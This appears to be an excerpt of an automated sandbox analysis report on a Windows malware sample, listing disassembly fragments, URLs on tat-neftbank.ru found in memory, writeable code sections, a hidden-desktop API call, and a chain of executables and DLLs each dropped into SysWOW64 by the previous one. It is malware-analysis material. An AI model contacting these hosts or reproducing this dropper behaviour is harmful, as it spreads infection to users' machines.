Source: C:\Windows\SysWOW64\Plbmqa32.exe	Code function: 4x nop then push eax	12_2_0042E000
Source: C:\Windows\SysWOW64\Plbmqa32.exe	Code function: 4x nop then div edi	12_2_0042E000
Source: C:\Windows\SysWOW64\Plbmqa32.exe	Code function: 4x nop then add eax, edi	12_2_0042E000
Source: C:\Windows\SysWOW64\Plbmqa32.exe	Code function: 4x nop then pop edi	12_2_00403AC7
Source: C:\Windows\SysWOW64\Plbmqa32.exe	Code function: 4x nop then mov ebx, 00407EF8h	12_2_00403AC7
Source: C:\Windows\SysWOW64\Plbmqa32.exe	Code function: 4x nop then sub ecx, eax	12_2_00403AC7
Source: C:\Windows\SysWOW64\Plbmqa32.exe	Code function: 4x nop then xor edx, edx	12_2_00403AC7
Source: C:\Windows\SysWOW64\Plbmqa32.exe	Code function: 4x nop then push eax	12_2_00403AC7
Source: C:\Windows\SysWOW64\Plbmqa32.exe	Code function: 4x nop then div edi	12_2_00403AC7
Source: C:\Windows\SysWOW64\Plbmqa32.exe	Code function: 4x nop then xchg eax, ecx	12_2_00403AC7
Source: C:\Windows\SysWOW64\Plbmqa32.exe	Code function: 4x nop then add eax, edi	12_2_00403AC7
Source: C:\Windows\SysWOW64\Plbmqa32.exe	Code function: 4x nop then loop 00403B3Eh	12_2_00403AC7
Source: C:\Windows\SysWOW64\Plbmqa32.exe	Code function: 4x nop then mov eax, 0042A000h	12_2_00403AC7
Source: C:\Windows\SysWOW64\Plbmqa32.exe	Code function: 4x nop then mov ebx, 0042CD70h	12_2_00403AC7
Source: C:\Windows\SysWOW64\Plbmqa32.exe	Code function: 4x nop then sub ecx, eax	12_2_00403AC7
Source: C:\Windows\SysWOW64\Plbmqa32.exe	Code function: 4x nop then xor edx, edx	12_2_00403AC7
Source: C:\Windows\SysWOW64\Plbmqa32.exe	Code function: 4x nop then push eax	12_2_00403AC7
Source: C:\Windows\SysWOW64\Plbmqa32.exe	Code function: 4x nop then div edi	12_2_00403AC7
Source: C:\Windows\SysWOW64\Plbmqa32.exe	Code function: 4x nop then xchg eax, ecx	12_2_00403AC7
Source: C:\Windows\SysWOW64\Plbmqa32.exe	Code function: 4x nop then add eax, edi	12_2_00403AC7
Source: C:\Windows\SysWOW64\Plbmqa32.exe	Code function: 4x nop then loop 00403B9Eh	12_2_00403AC7
Source: C:\Windows\SysWOW64\Plbmqa32.exe	Code function: 4x nop then popad	12_2_00403AC7
Source: C:\Windows\SysWOW64\Plbmqa32.exe	Code function: 4x nop then je 00403A1Ch	12_2_004039CE
Source: C:\Windows\SysWOW64\Plbmqa32.exe	Code function: 4x nop then xor dword ptr [eax], ecx	12_2_004039CE
Source: C:\Windows\SysWOW64\Plbmqa32.exe	Code function: 4x nop then inc eax	12_2_004039CE
Source: C:\Windows\SysWOW64\Plbmqa32.exe	Code function: 4x nop then jne 004039F2h	12_2_004039CE
Source: C:\Windows\SysWOW64\Plbmqa32.exe	Code function: 4x nop then mov eax, 0042A000h	12_2_004039CE
Source: C:\Windows\SysWOW64\Plbmqa32.exe	Code function: 4x nop then je 00403A52h	12_2_004039CE
Source: C:\Windows\SysWOW64\Plbmqa32.exe	Code function: 4x nop then xor dword ptr [eax], ecx	12_2_004039CE
Source: C:\Windows\SysWOW64\Plbmqa32.exe	Code function: 4x nop then add eax, 04h	12_2_004039CE

Source: h879iieoae.exe, Fhedeo32.exe.36.dr, Odekfoij.exe.8.dr, Efgkjnfn.exe.33.dr, Bgibkegc.exe.21.dr, Feidnc32.exe.37.dr, Bgamkfnl.exe.17.dr, Cnjaioih.exe.26.dr, Oeanchcn.exe.5.dr, Dfcboo32.exe.30.dr, Ggmnlk32.exe.39.dr, Baagdk32.exe.22.dr, Bnnampcf.exe.19.dr, Eoappk32.exe.34.dr, Olijjb32.exe.4.dr, Oceoll32.exe.6.dr, Ajkolbad.exe.15.dr, Pqeoao32.exe.13.dr, Cfnpmb32.exe.23.dr, Dnhmjm32.exe.29.dr, Foaigifk.exe.38.dr	String found in binary or memory: http://oracle.com/contracts
Source: Fkogfkdj.exe.35.dr	String found in binary or memory: http://oracle.com/contracts.
Source: h879iieoae.exe, h879iieoae.exe, 00000000.00000002.1981272347.000000000042A000.00000004.00000001.01000000.00000003.sdmp, Nejhbi32.exe, Nejhbi32.exe, 00000001.00000002.1981341185.000000000042A000.00000004.00000001.01000000.00000004.sdmp, Ogjdllpi.exe, Ogjdllpi.exe, 00000002.00000002.1982006776.000000000042A000.00000004.00000001.01000000.00000005.sdmp, Opbieagi.exe, Opbieagi.exe, 00000003.00000002.1982382134.000000000042A000.00000004.00000001.01000000.00000006.sdmp, Oglabl32.exe, Oglabl32.exe, 00000004.00000002.1982959568.000000000042A000.00000004.00000001.01000000.00000007.sdmp, Olijjb32.exe, Olijjb32.exe, 00000005.00000002.1984697052.000000000042A000.00000004.00000001.01000000.00000008.sdmp, Oeanchcn.exe, Oeanchcn.exe, 00000006.00000002.1984946818.000000000042A000.00000004.00000001.01000000.00000009.sdmp, Oceoll32.exe, Oceoll32.exe, 00000007.00000002.1985391617.000000000042A000.00000004.00000001.01000000.0000000A.sdmp, Onkcje32.exe, Onkcje32.exe, 00000008.00000002.1986218308.000000000042A000.00000004.00000001.01000000.0000000B.sdmp, Odekfoij.exe, Odekfoij.exe, 00000009.00000002.1986378400.000000000042A000.00000004.00000001.01000000.0000000C.sdmp, Ojacofgb.exe	String found in binary or memory: http://tat-neftbank.ru/kkq.php
Source: h879iieoae.exe, 00000000.00000002.1981272347.000000000042A000.00000004.00000001.01000000.00000003.sdmp, Nejhbi32.exe, 00000001.00000002.1981341185.000000000042A000.00000004.00000001.01000000.00000004.sdmp, Ogjdllpi.exe, 00000002.00000002.1982006776.000000000042A000.00000004.00000001.01000000.00000005.sdmp, Opbieagi.exe, 00000003.00000002.1982382134.000000000042A000.00000004.00000001.01000000.00000006.sdmp, Oglabl32.exe, 00000004.00000002.1982959568.000000000042A000.00000004.00000001.01000000.00000007.sdmp, Olijjb32.exe, 00000005.00000002.1984697052.000000000042A000.00000004.00000001.01000000.00000008.sdmp, Oeanchcn.exe, 00000006.00000002.1984946818.000000000042A000.00000004.00000001.01000000.00000009.sdmp, Oceoll32.exe, 00000007.00000002.1985391617.000000000042A000.00000004.00000001.01000000.0000000A.sdmp, Onkcje32.exe, 00000008.00000002.1986218308.000000000042A000.00000004.00000001.01000000.0000000B.sdmp, Odekfoij.exe, 00000009.00000002.1986378400.000000000042A000.00000004.00000001.01000000.0000000C.sdmp, Ojacofgb.exe, 0000000A.00000002.1986379697.000000000042A000.00000004.00000001.01000000.0000000D.sdmp, Ppllkpoo.exe, 0000000B.00000002.1988867655.000000000042A000.00000004.00000001.01000000.0000000E.sdmp, Plbmqa32.exe, 0000000C.00000002.1990903099.000000000042A000.00000004.00000001.01000000.0000000F.sdmp, Plgflqpn.exe, 0000000D.00000002.1993494029.000000000042A000.00000004.00000001.01000000.00000010.sdmp, Pqeoao32.exe, 0000000E.00000002.1998469389.000000000042A000.00000004.00000001.01000000.00000011.sdmp, Qgcpihjl.exe, 0000000F.00000002.2000063573.000000000042A000.00000004.00000001.01000000.00000012.sdmp, Ajkolbad.exe, 00000010.00000002.2000741077.000000000042A000.00000004.00000001.01000000.00000013.sdmp, Bmlhnnne.exe, 00000011.00000002.2001790871.000000000042A000.00000004.00000001.01000000.00000014.sdmp, Bgamkfnl.exe, 00000012.00000002.2002333377.000000000042A000.00000004.00000001.01000000.00000015.sdmp, Bqjacldl.exe, 00000013.00000002.2003694218.000000000042A000.00000004.00000001.01000000.00000016.sdmp, Bnnampcf.exe, 00000014.00000002.2004277931.000000000042A000.00000004.00000001.01000000.00000017.sdmp	String found in binary or memory: http://tat-neftbank.ru/kkq.phphttp://tat-neftbank.ru/wcmd.htmSoftware
Source: h879iieoae.exe, h879iieoae.exe, 00000000.00000002.1981272347.000000000042A000.00000004.00000001.01000000.00000003.sdmp, Nejhbi32.exe, Nejhbi32.exe, 00000001.00000002.1981341185.000000000042A000.00000004.00000001.01000000.00000004.sdmp, Ogjdllpi.exe, Ogjdllpi.exe, 00000002.00000002.1982006776.000000000042A000.00000004.00000001.01000000.00000005.sdmp, Opbieagi.exe, Opbieagi.exe, 00000003.00000002.1982382134.000000000042A000.00000004.00000001.01000000.00000006.sdmp, Oglabl32.exe, Oglabl32.exe, 00000004.00000002.1982959568.000000000042A000.00000004.00000001.01000000.00000007.sdmp, Olijjb32.exe, Olijjb32.exe, 00000005.00000002.1984697052.000000000042A000.00000004.00000001.01000000.00000008.sdmp, Oeanchcn.exe, Oeanchcn.exe, 00000006.00000002.1984946818.000000000042A000.00000004.00000001.01000000.00000009.sdmp, Oceoll32.exe, Oceoll32.exe, 00000007.00000002.1985391617.000000000042A000.00000004.00000001.01000000.0000000A.sdmp, Onkcje32.exe, Onkcje32.exe, 00000008.00000002.1986218308.000000000042A000.00000004.00000001.01000000.0000000B.sdmp, Odekfoij.exe, Odekfoij.exe, 00000009.00000002.1986378400.000000000042A000.00000004.00000001.01000000.0000000C.sdmp, Ojacofgb.exe	String found in binary or memory: http://tat-neftbank.ru/wcmd.htm
Source: h879iieoae.exe, Fhedeo32.exe.36.dr, Odekfoij.exe.8.dr, Efgkjnfn.exe.33.dr, Bgibkegc.exe.21.dr, Feidnc32.exe.37.dr, Bgamkfnl.exe.17.dr, Cnjaioih.exe.26.dr, Oeanchcn.exe.5.dr, Dfcboo32.exe.30.dr, Ggmnlk32.exe.39.dr, Baagdk32.exe.22.dr, Bnnampcf.exe.19.dr, Eoappk32.exe.34.dr, Olijjb32.exe.4.dr, Oceoll32.exe.6.dr, Ajkolbad.exe.15.dr, Pqeoao32.exe.13.dr, Cfnpmb32.exe.23.dr, Dnhmjm32.exe.29.dr, Foaigifk.exe.38.dr	String found in binary or memory: http://www.oracle.com/education/oln.

Source: C:\Users\user\Desktop\h879iieoae.exe

Code function: 0_2_0040431F GetCurrentThreadId,GetThreadDesktop,CreateDesktopA,SetThreadDesktop,

0_2_0040431F

System Summary

PE file has a writeable .text section

Source: h879iieoae.exe	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: Nejhbi32.exe.0.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: Ogjdllpi.exe.1.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: Opbieagi.exe.2.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: Oglabl32.exe.3.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: Olijjb32.exe.4.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: Oeanchcn.exe.5.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: Oceoll32.exe.6.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: Onkcje32.exe.7.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: Odekfoij.exe.8.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: Ojacofgb.exe.9.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: Ppllkpoo.exe.10.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: Plbmqa32.exe.11.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: Plgflqpn.exe.12.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: Pqeoao32.exe.13.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: Qgcpihjl.exe.14.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: Ajkolbad.exe.15.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: Bmlhnnne.exe.16.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: Bgamkfnl.exe.17.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: Bqjacldl.exe.18.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: Bnnampcf.exe.19.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: Bnpnbp32.exe.20.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: Bgibkegc.exe.21.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: Baagdk32.exe.22.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: Cfnpmb32.exe.23.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: Ccapffke.exe.24.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: Ceampi32.exe.25.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: Cnjaioih.exe.26.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: Camgpi32.exe.27.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: Dmfdkj32.exe.28.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: Dnhmjm32.exe.29.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: Dfcboo32.exe.30.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: Edgbhcim.exe.31.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: Emogai32.exe.32.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: Efgkjnfn.exe.33.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: Eoappk32.exe.34.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: Fkogfkdj.exe.35.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: Fhedeo32.exe.36.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: Feidnc32.exe.37.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: Foaigifk.exe.38.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: Ggmnlk32.exe.39.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Source: C:\Users\user\Desktop\h879iieoae.exe	File created: C:\Windows\SysWOW64\Nejhbi32.exe	Jump to behavior
Source: C:\Users\user\Desktop\h879iieoae.exe	File created: C:\Windows\SysWOW64\Nejhbi32.exe:Zone.Identifier:$DATA	Jump to behavior
Source: C:\Users\user\Desktop\h879iieoae.exe	File created: C:\Windows\SysWOW64\Jcofqqkm.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Nejhbi32.exe	File created: C:\Windows\SysWOW64\Ogjdllpi.exe	Jump to behavior
Source: C:\Windows\SysWOW64\Nejhbi32.exe	File created: C:\Windows\SysWOW64\Bpghkh32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Ogjdllpi.exe	File created: C:\Windows\SysWOW64\Opbieagi.exe	Jump to behavior
Source: C:\Windows\SysWOW64\Ogjdllpi.exe	File created: C:\Windows\SysWOW64\Fkdfmkhi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Opbieagi.exe	File created: C:\Windows\SysWOW64\Oglabl32.exe	Jump to behavior
Source: C:\Windows\SysWOW64\Opbieagi.exe	File created: C:\Windows\SysWOW64\Hjanmb32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Oglabl32.exe	File created: C:\Windows\SysWOW64\Olijjb32.exe	Jump to behavior
Source: C:\Windows\SysWOW64\Oglabl32.exe	File created: C:\Windows\SysWOW64\Jdackq32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Olijjb32.exe	File created: C:\Windows\SysWOW64\Oeanchcn.exe	Jump to behavior
Source: C:\Windows\SysWOW64\Olijjb32.exe	File created: C:\Windows\SysWOW64\Ligdce32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Oeanchcn.exe	File created: C:\Windows\SysWOW64\Oceoll32.exe	Jump to behavior
Source: C:\Windows\SysWOW64\Oeanchcn.exe	File created: C:\Windows\SysWOW64\Pdkggn32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Oceoll32.exe	File created: C:\Windows\SysWOW64\Onkcje32.exe	Jump to behavior
Source: C:\Windows\SysWOW64\Oceoll32.exe	File created: C:\Windows\SysWOW64\Fehgpcld.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Onkcje32.exe	File created: C:\Windows\SysWOW64\Odekfoij.exe	Jump to behavior
Source: C:\Windows\SysWOW64\Onkcje32.exe	File created: C:\Windows\SysWOW64\Jgemldcp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Odekfoij.exe	File created: C:\Windows\SysWOW64\Ojacofgb.exe	Jump to behavior
Source: C:\Windows\SysWOW64\Odekfoij.exe	File created: C:\Windows\SysWOW64\Bdlhdkdf.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Ojacofgb.exe	File created: C:\Windows\SysWOW64\Ppllkpoo.exe	Jump to behavior
Source: C:\Windows\SysWOW64\Ojacofgb.exe	File created: C:\Windows\SysWOW64\Accicdme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Ppllkpoo.exe	File created: C:\Windows\SysWOW64\Plbmqa32.exe	Jump to behavior
Source: C:\Windows\SysWOW64\Ppllkpoo.exe	File created: C:\Windows\SysWOW64\Chfnmf32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Plbmqa32.exe	File created: C:\Windows\SysWOW64\Plgflqpn.exe	Jump to behavior
Source: C:\Windows\SysWOW64\Plbmqa32.exe	File created: C:\Windows\SysWOW64\Lfcadoap.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Plgflqpn.exe	File created: C:\Windows\SysWOW64\Pqeoao32.exe	Jump to behavior
Source: C:\Windows\SysWOW64\Plgflqpn.exe	File created: C:\Windows\SysWOW64\Akghbg32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Pqeoao32.exe	File created: C:\Windows\SysWOW64\Qgcpihjl.exe	Jump to behavior
Source: C:\Windows\SysWOW64\Pqeoao32.exe	File created: C:\Windows\SysWOW64\Clqdacnn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Qgcpihjl.exe	File created: C:\Windows\SysWOW64\Ajkolbad.exe	Jump to behavior
Source: C:\Windows\SysWOW64\Qgcpihjl.exe	File created: C:\Windows\SysWOW64\Khlnhl32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Ajkolbad.exe	File created: C:\Windows\SysWOW64\Bmlhnnne.exe	Jump to behavior
Source: C:\Windows\SysWOW64\Ajkolbad.exe	File created: C:\Windows\SysWOW64\Iemjhp32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Bmlhnnne.exe	File created: C:\Windows\SysWOW64\Bgamkfnl.exe	Jump to behavior
Source: C:\Windows\SysWOW64\Bmlhnnne.exe	File created: C:\Windows\SysWOW64\Mfdadc32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Bgamkfnl.exe	File created: C:\Windows\SysWOW64\Bqjacldl.exe	Jump to behavior
Source: C:\Windows\SysWOW64\Bgamkfnl.exe	File created: C:\Windows\SysWOW64\Pdmohf32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Bqjacldl.exe	File created: C:\Windows\SysWOW64\Bnnampcf.exe	Jump to behavior
Source: C:\Windows\SysWOW64\Bqjacldl.exe	File created: C:\Windows\SysWOW64\Lfjejf32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Bnnampcf.exe	File created: C:\Windows\SysWOW64\Bnpnbp32.exe	Jump to behavior
Source: C:\Windows\SysWOW64\Bnnampcf.exe	File created: C:\Windows\SysWOW64\Ekpjke32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Bnpnbp32.exe	File created: C:\Windows\SysWOW64\Bgibkegc.exe	Jump to behavior
Source: C:\Windows\SysWOW64\Bnpnbp32.exe	File created: C:\Windows\SysWOW64\Pkjmee32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Bgibkegc.exe	File created: C:\Windows\SysWOW64\Baagdk32.exe	Jump to behavior
Source: C:\Windows\SysWOW64\Bgibkegc.exe	File created: C:\Windows\SysWOW64\Foelkeee.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Baagdk32.exe	File created: C:\Windows\SysWOW64\Cfnpmb32.exe	Jump to behavior
Source: C:\Windows\SysWOW64\Baagdk32.exe	File created: C:\Windows\SysWOW64\Fcjdhk32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Cfnpmb32.exe	File created: C:\Windows\SysWOW64\Ccapffke.exe	Jump to behavior
Source: C:\Windows\SysWOW64\Cfnpmb32.exe	File created: C:\Windows\SysWOW64\Ibigijoc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Ccapffke.exe	File created: C:\Windows\SysWOW64\Ceampi32.exe	Jump to behavior
Source: C:\Windows\SysWOW64\Ccapffke.exe	File created: C:\Windows\SysWOW64\Ipqipqal.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Ceampi32.exe	File created: C:\Windows\SysWOW64\Cnjaioih.exe
Source: C:\Windows\SysWOW64\Ceampi32.exe	File created: C:\Windows\SysWOW64\Hjjfnehb.dll
Source: C:\Windows\SysWOW64\Cnjaioih.exe	File created: C:\Windows\SysWOW64\Camgpi32.exe
Source: C:\Windows\SysWOW64\Cnjaioih.exe	File created: C:\Windows\SysWOW64\Ahhhnd32.dll
Source: C:\Windows\SysWOW64\Camgpi32.exe	File created: C:\Windows\SysWOW64\Dmfdkj32.exe
Source: C:\Windows\SysWOW64\Camgpi32.exe	File created: C:\Windows\SysWOW64\Ibbpip32.dll
Source: C:\Windows\SysWOW64\Dmfdkj32.exe	File created: C:\Windows\SysWOW64\Dnhmjm32.exe
Source: C:\Windows\SysWOW64\Dmfdkj32.exe	File created: C:\Windows\SysWOW64\Hjdhea32.dll
Source: C:\Windows\SysWOW64\Dnhmjm32.exe	File created: C:\Windows\SysWOW64\Dfcboo32.exe
Source: C:\Windows\SysWOW64\Dnhmjm32.exe	File created: C:\Windows\SysWOW64\Ekpkmk32.dll
Source: C:\Windows\SysWOW64\Dfcboo32.exe	File created: C:\Windows\SysWOW64\Edgbhcim.exe
Source: C:\Windows\SysWOW64\Dfcboo32.exe	File created: C:\Windows\SysWOW64\Pfgpqb32.dll
Source: C:\Windows\SysWOW64\Edgbhcim.exe	File created: C:\Windows\SysWOW64\Emogai32.exe
Source: C:\Windows\SysWOW64\Edgbhcim.exe	File created: C:\Windows\SysWOW64\Kfnpbj32.dll
Source: C:\Windows\SysWOW64\Emogai32.exe	File created: C:\Windows\SysWOW64\Efgkjnfn.exe
Source: C:\Windows\SysWOW64\Emogai32.exe	File created: C:\Windows\SysWOW64\Flhljo32.dll
Source: C:\Windows\SysWOW64\Efgkjnfn.exe	File created: C:\Windows\SysWOW64\Eoappk32.exe
Source: C:\Windows\SysWOW64\Efgkjnfn.exe	File created: C:\Windows\SysWOW64\Gfdcflnh.dll
Source: C:\Windows\SysWOW64\Eoappk32.exe	File created: C:\Windows\SysWOW64\Fkogfkdj.exe
Source: C:\Windows\SysWOW64\Eoappk32.exe	File created: C:\Windows\SysWOW64\Lbfpda32.dll
Source: C:\Windows\SysWOW64\Fkogfkdj.exe	File created: C:\Windows\SysWOW64\Fhedeo32.exe
Source: C:\Windows\SysWOW64\Fkogfkdj.exe	File created: C:\Windows\SysWOW64\Ajikgq32.dll
Source: C:\Windows\SysWOW64\Fhedeo32.exe	File created: C:\Windows\SysWOW64\Feidnc32.exe
Source: C:\Windows\SysWOW64\Fhedeo32.exe	File created: C:\Windows\SysWOW64\Njaakj32.dll
Source: C:\Windows\SysWOW64\Feidnc32.exe	File created: C:\Windows\SysWOW64\Foaigifk.exe
Source: C:\Windows\SysWOW64\Feidnc32.exe	File created: C:\Windows\SysWOW64\Hdgplo32.dll
Source: C:\Windows\SysWOW64\Foaigifk.exe	File created: C:\Windows\SysWOW64\Ggmnlk32.exe
Source: C:\Windows\SysWOW64\Foaigifk.exe	File created: C:\Windows\SysWOW64\Ckaenpam.dll

Source: C:\Users\user\Desktop\h879iieoae.exe	Code function: 0_2_0042B884	0_2_0042B884
Source: C:\Windows\SysWOW64\Nejhbi32.exe	Code function: 1_2_0042B884	1_2_0042B884
Source: C:\Windows\SysWOW64\Ogjdllpi.exe	Code function: 2_2_0042B884	2_2_0042B884
Source: C:\Windows\SysWOW64\Opbieagi.exe	Code function: 3_2_0042B884	3_2_0042B884
Source: C:\Windows\SysWOW64\Oglabl32.exe	Code function: 4_2_0042B884	4_2_0042B884
Source: C:\Windows\SysWOW64\Olijjb32.exe	Code function: 5_2_0042B884	5_2_0042B884
Source: C:\Windows\SysWOW64\Oeanchcn.exe	Code function: 6_2_0042B884	6_2_0042B884
Source: C:\Windows\SysWOW64\Oceoll32.exe	Code function: 7_2_0042B884	7_2_0042B884
Source: C:\Windows\SysWOW64\Onkcje32.exe	Code function: 8_2_0042B884	8_2_0042B884
Source: C:\Windows\SysWOW64\Odekfoij.exe	Code function: 9_2_0042B884	9_2_0042B884
Source: C:\Windows\SysWOW64\Ojacofgb.exe	Code function: 10_2_0042B884	10_2_0042B884
Source: C:\Windows\SysWOW64\Ppllkpoo.exe	Code function: 11_2_0042B884	11_2_0042B884
Source: C:\Windows\SysWOW64\Plbmqa32.exe	Code function: 12_2_0042B884	12_2_0042B884
